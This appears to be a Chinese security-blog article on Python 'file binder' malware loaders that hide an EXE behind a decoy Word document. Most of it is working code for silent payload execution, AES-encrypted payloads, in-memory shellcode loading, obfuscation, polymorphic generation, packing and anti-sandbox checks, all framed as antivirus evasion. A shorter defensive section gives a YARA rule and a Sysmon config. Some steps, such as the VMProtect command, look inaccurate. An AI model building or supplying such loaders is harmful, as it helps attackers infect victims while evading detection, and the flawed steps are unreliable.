文件捆绑器(加载器):从原理到免杀与防御实践
文章探讨了基于Python的文件捆绑器技术及其免杀优化方案。该技术通过将恶意EXE与普通文件(如Word、Excel)捆绑,在用户打开普通文件时静默执行恶意代码。文章分析了原始捆绑器的技术细节及易被杀毒软件检测的原因,并提出了包括去静态特征、内存加载、逻辑混淆和加壳压缩在内的优化方案以提升免杀能力。同时,从防御视角提供了静态检测、动态行为监控及高级防御手段(如用户行为建模、AI/ML检测和沙箱分析)等实践建议。 2025-8-5 06:6:53 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

文件捆绑器是一种隐蔽的加载器技术,通过将恶意可执行文件(EXE)与普通文件(如Word、Excel、PDF)捆绑,诱导用户运行,从而在打开普通文件的同时静默执行恶意代码。本文基于Python实现的文件捆绑器,分析其技术细节,探讨易被杀毒软件检测的原因,提出免杀优化方案,并从蓝队视角提供防御实践,助力安全从业者理解加载器的攻防对抗。

image.png

一、原始捆绑器的技术细节与问题

image.png

1.1 技术实现分析

捆绑器允许用户选择一个EXE文件和一个普通文件(如采购.docx),生成捆绑加载器(如采购_bundle.docx),运行时打开普通文件并静默执行EXE。

核心代码

EXE_DATA = b"..."  # base64编码的EXE文件
NORMAL_FILE_DATA = b"..."  # base64编码的普通文件
NORMAL_FILE_EXT = "docx"  # 普通文件扩展名

def decode_and_save(data, output_path):
    decoded_data = zlib.decompress(base64.b64decode(data))
    with open(output_path, "wb") as f:
        f.write(decoded_data)

def open_normal_file():
    temp_dir = tempfile.gettempdir()
    normal_file_path = os.path.join(temp_dir, f"document.{NORMAL_FILE_EXT}")
    decode_and_save(NORMAL_FILE_DATA, normal_file_path)
    os.startfile(normal_file_path)

def run_exe_in_background():
    temp_dir = tempfile.gettempdir()
    exe_path = os.path.join(temp_dir, "bundled_app.exe")
    decode_and_save(EXE_DATA, exe_path)
    subprocess.Popen(exe_path, creationflags=subprocess.CREATE_NO_WINDOW)

def main():
    try:
        open_normal_file()
        run_exe_in_background()
    except Exception as e:
        print(f"错误: {e}")
        sys.exit(1)

工作原理

  1. 文件编码:EXE和普通文件通过zlib压缩和base64编码,嵌入加载器(EXE_DATANORMAL_FILE_DATA)。

  2. 文件释放:运行时解码并写入临时目录(tempfile.gettempdir(),如C:\Users\xxx\AppData\Local\Temp)。

  3. 普通文件打开:通过os.startfile触发系统默认程序(如Word打开.docx)。

  4. EXE后台执行:使用subprocess.PopenCREATE_NO_WINDOW静默运行EXE。

  5. 输出命名:生成文件名为普通文件名加_bundle后缀(如采购_bundle.docx),通过pyinstaller打包为EXE。

  6. GUI功能:提供文件选择和输出目录选择,生成后自动打开目录。

1.2 易被杀毒软件检测的特征

原始捆绑器暴露了以下特征:

行为描述典型特征
base64 + zlib嵌入大量base64编码字符串嵌入代码base64.b64decode, zlib.decompress
释放到临时目录文件写入C:\Users\xxx\AppData\Local\Temp与勒索软件、木马路径一致
Popen启动EXE使用subprocess.Popen静默运行CREATE_NO_WINDOW标志
os.startfile打开文档非用户主动触发文档打开触发系统日志或行为感知

这些特征易被静态特征扫描(如YARA)和动态行为监控(如EDR)捕获。

二、免杀优化技术(Bypass AV)

为提高免杀能力,以下从去静态特征、内存加载、逻辑混淆和加壳压缩四个方面优化。

2.1 去静态特征(外置加密数据)

问题:嵌入的base64编码是静态特征,易被YARA匹配。

优化方案:将数据加密保存为外部文件(如data.bin),运行时动态解密。

示例代码

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(data: bytes, key: bytes) -> bytes:
    cipher = AES.new(key, AES.MODE_CBC, iv=b'1234567890abcdef')
    return cipher.encrypt(pad(data, AES.block_size))

def decrypt(enc: bytes, key: bytes) -> bytes:
    cipher = AES.new(key, AES.MODE_CBC, iv=b'1234567890abcdef')
    return unpad(cipher.decrypt(enc), AES.block_size)

# 加密EXE并保存为data.bin
with open("input.exe", "rb") as f:
    raw_data = f.read()
enc_data = encrypt(raw_data, b"your16bytekey!!!")
with open("data.bin", "wb") as f:
    f.write(enc_data)

# 加载器中解密运行
with open("data.bin", "rb") as f:
    enc_data = f.read()
raw_data = decrypt(enc_data, b"your16bytekey!!!")
with open(os.path.join(tempfile.gettempdir(), "tmp.exe"), "wb") as f:
    f.write(raw_data)
subprocess.Popen("tmp.exe", creationflags=0x08000000)

优点

  • 无明文base64/zlib痕迹。

  • 加密数据外置,动态解密增加分析难度。

  • 可动态生成密钥进一步混淆。

实现细节

  • 使用pycryptodomepip install pycryptodome)实现AES加密。

  • data.bin需与加载器一起分发。

2.2 内存加载(不落地执行)

问题:释放EXE到临时目录易被行为监控检测。

优化方案:使用RunPE或shellcode在内存中直接执行EXE,避免磁盘写入。

示例代码(RunPE简化)

import ctypes

def load_pe_in_memory(raw_exe_bytes):
    kernel32 = ctypes.WinDLL('kernel32')
    mem = kernel32.VirtualAlloc(None, len(raw_exe_bytes), 0x3000, 0x40)  # MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    ctypes.memmove(mem, raw_exe_bytes, len(raw_exe_bytes))
    # 简化RunPE:需解析PE头、重定位等(实际需C扩展)
    kernel32.CreateThread(0, 0, mem, 0, 0, 0)
    kernel32.WaitForSingleObject(-1, -1)

shellcode加载(使用远控生成shellcode):

import ctypes

shellcode = b"..."  # 通过远控生成shellcode
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
ctypes.memmove(ptr, shellcode, len(shellcode))
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(-1, -1)

优点

  • 无磁盘写入,规避文件监控。

  • 内存执行绕过行为检测。

  • shellcode更隐蔽。

实现细节

  • RunPE需解析PE结构,可用pefile辅助。

  • cobaltstrike可以直接生成shellcode。

2.3 混淆加载器逻辑

问题:直接使用base64zlibsubprocess模块,静态特征明显。

优化方案:通过动态导入和exec混淆逻辑。

示例代码

code = '''
def run():
    __import__('ba' + 'se64').b64decode
    __import__('zl' + 'ib').decompress
    __import__('sub' + 'process').Popen
    d = "base64_data_here"
    e = __import__('zl' + 'ib').decompress(__import__('ba' + 'se64').b64decode(d))
    f = open("a.exe", "wb")
    f.write(e)
    f.close()
    __import__('sub' + 'process').Popen("a.exe", creationflags=0x08000000)
run()
'''
exec(code)

状态机重构

def state_machine(data):
    state = 0
    if state == 0:
        d = __import__('zlib').decompress(__import__('base64').b64decode(data))
        state = 1
    if state == 1:
        with open("tmp.exe", "wb") as f:
            f.write(d)
        state = 2
    if state == 2:
        __import__('subprocess').Popen("tmp.exe", creationflags=0x08000000)
state_machine(b"...")

优点

  • 动态导入隐藏模块名。

  • exec和状态机增加逆向难度。

实现细节

  • 可结合pyobfuscate进一步混淆。

  • 需确保混淆后代码稳定性。

2.4 PyInstaller二次壳封装

问题pyinstaller生成的EXE保留Python痕迹。

优化方案:使用pyarmornuitka混淆或编译为C代码。

示例命令

# pyarmor混淆
pip install pyarmor
pyarmor gen bundle_loader.py -o protected/
pyinstaller -F protected/bundle_loader.py

nuitka编译

pip install nuitka
nuitka --mingw64 --standalone bundle_loader.py

优点

  • nuitka生成C代码,逆向难度高。

  • pyarmor混淆字节码,降低特征。

实现细节

  • nuitka需MinGW64。

  • pyarmor高级功能需许可证。

三、防范手段

3.1 静态检测特征

YARA规则

rule Suspicious_Bundled_Loader {
    strings:
        $a1 = "base64.b64decode"
        $a2 = "zlib.decompress"
        $a3 = "subprocess.CREATE_NO_WINDOW"
        $a4 = "tempfile.gettempdir"
        $b1 = /b[A-Za-z0-9+\/=]{50,}/
    condition:
        3 of ($a*) or $b1
}

检测点

  • 同时出现base64.b64decodezlib.decompresstempfile.gettempdir

  • 包含大段base64字符串(>50KB)。

  • 文件名包含_bundle或临时文件模式。

工具

  • YARA(EDR/SIEM)。

  • 静态分析工具(PEiD、Detect It Easy)。

3.2 动态行为检测

检测点

  • 临时目录(C:\Users\xxx\AppData\Local\Temp)文件创建。

  • 短时间内(<1秒)打开文档并启动无窗口子进程。

  • 非用户主动的os.startfile

工具

  • Sysmon:监控文件创建和子进程。

  • EDR:CrowdStrike、火绒剑、微步。

  • Windows Defender ASR:阻止Office/脚本启动子进程。

Sysmon配置

<Sysmon schemaversion="4.81">
    <EventFiltering>
        <FileCreate onmatch="include">
            <TargetFilename condition="contains">AppData\Local\Temp</TargetFilename>
        </FileCreate>
        <ProcessCreate onmatch="include">
            <Image condition="contains">AppData\Local\Temp</Image>
            <CommandLine condition="contains">CREATE_NO_WINDOW</CommandLine>
        </ProcessCreate>
    </EventFiltering>
</Sysmon>

3.3 高级防御手段

  • 用户行为建模:检测非用户主动触发的EXE或无关文件生成。

  • AI/ML检测:Cylance、SentinelOne分析API调用、内存执行、shellcode。

  • 沙箱分析:Cuckoo Sandbox、Joe Sandbox捕获内存加载行为。

四、总结:免杀与防御的博弈

文件捆绑器通过结合普通文件和恶意EXE实现隐蔽攻击,但其静态和动态特征易被检测。以下优化可提高免杀效果,同时新增多态代码、VM混淆和环境感知技术:

攻击优化方向对应防御建议
去静态特征(加密外置)静态扫描 + YARA
内存加载(RunPE/shellcode)行为感知 + 内存扫描
动态混淆(控制流/动态导入)控制流分析 + AI建模
加壳压缩(nuitka/pyarmor)沙箱执行 + 二进制分析
多态代码动态特征提取 + ML检测
VM混淆(如VMProtect)反虚拟化分析
环境感知沙箱检测对抗

4.1 多态代码(Polymorphic Code)

原理: 多态代码通过每次运行生成不同代码结构(但功能相同),规避静态特征检测。常见方法包括动态生成代码、随机化变量名、插入无意义指令等。

示例代码

import random
import string

def generate_polymorphic_code(base64_data):
    var_name = ''.join(random.choices(string.ascii_lowercase, k=8))
    func_name = ''.join(random.choices(string.ascii_lowercase, k=8))
    dummy_code = f"x = {random.randint(1, 1000)}"  # 插入无意义代码
    code = f'''
def {func_name}():
    {dummy_code}
    import base64 as b
    import zlib as z
    {var_name} = z.decompress(b.b64decode("{base64_data}"))
    with open("tmp.exe", "wb") as f:
        f.write({var_name})
    import subprocess as s
    s.Popen("tmp.exe", creationflags=0x08000000)
{func_name}()
'''
    exec(code)

# 调用示例
generate_polymorphic_code(b"...")

优点

  • 每次生成不同变量名和函数名,降低静态签名匹配。

  • 插入随机无意义代码增加逆向难度。

实现细节

  • 使用random模块生成随机变量名/函数名。

  • 可结合obfuscator工具生成更复杂多态代码。

  • 需确保功能稳定性,避免过分混淆导致错误。

4.2 VM混淆(如VMProtect)

原理: VM混淆通过将代码转为虚拟机指令(字节码),在自定义虚拟机中运行,极大增加逆向难度。VMProtect等工具将关键逻辑(如EXE解码和执行)转为虚拟化代码,难以静态分析。

示例流程(结合VMProtect)

  1. 编写C语言加载器(Python需C扩展支持):

    #include <windows.h>
    void execute_payload(unsigned char* payload, size_t size) {
        void* exec_mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(exec_mem, payload, size);
        ((void(*)())exec_mem)();
    }
    
  2. 使用VMProtect对C代码进行虚拟化:

    vmprotect loader.c -o protected_loader.exe
    
  3. Python调用虚拟化后的EXE:

    import subprocess
    subprocess.Popen("protected_loader.exe", creationflags=0x08000000)
    

优点

  • 虚拟化代码难以逆向,规避静态和动态分析。

  • VMProtect支持反调试和环境检测。

实现细节

  • VMProtect需商业许可证,免费工具如Themida也可。

  • Python需通过C扩展(如ctypes)或直接调用虚拟化EXE。

4.3 环境感知(Anti-Sandbox/Debugging)

原理: 环境感知检测运行环境(如沙箱、调试器、虚拟机),避免在非目标环境执行。常见检测包括检查进程名、CPU核数、沙箱特定文件等。

示例代码

import psutil
import os

def is_sandbox():
    # 检查常见沙箱进程
    sandbox_processes = ["vboxservice.exe", "wireshark.exe", "vmtoolsd.exe"]
    for proc in psutil.process_iter():
        if proc.name().lower() in sandbox_processes:
            return True
    # 检查CPU核数(沙箱常为1-2核)
    if psutil.cpu_count() <= 2:
        return True
    # 检查沙箱典型文件
    if os.path.exists("C:\\windows\\system32\\drivers\\vmmouse.sys"):
        return True
    return False

def main():
    if is_sandbox():
        print("检测到沙箱环境,退出!")
        sys.exit(0)
    # 正常加载逻辑
    decode_and_save(NORMAL_FILE_DATA, os.path.join(tempfile.gettempdir(), f"document.{NORMAL_FILE_EXT}"))
    os.startfile(os.path.join(tempfile.gettempdir(), f"document.{NORMAL_FILE_EXT}"))
    run_exe_in_background()

if __name__ == "__main__":
    main()

优点

  • 规避沙箱和调试器分析。

  • 可定制检测逻辑(如检查注册表、MAC地址)。

实现细节

  • 使用psutilpip install psutil)检测进程和系统信息。

  • 可添加更多检测(如时间戳、鼠标活动)。

4.4 未来方向

  • 攻击方

    • 结合多态代码、VM混淆和环境感知,实现动态、隐蔽的加载器。

    • 使用AI生成对抗性代码,绕过ML检测。

  • 防御方

    • 增强实时行为监控,结合威胁情报。

    • 开发反虚拟化分析技术,检测VMProtect等。

    • 使用ML模型分析多态代码和环境感知行为。

免杀与防御的对抗永无止境。攻击者通过多态、虚拟化和环境感知提高隐蔽性,防御者需结合静态、动态和AI技术构建多层次防护。希望本文为红蓝双方提供实用参考!


文章来源: https://www.freebuf.com/articles/sectool/442999.html
如有侵权请联系:admin#unsafe.sh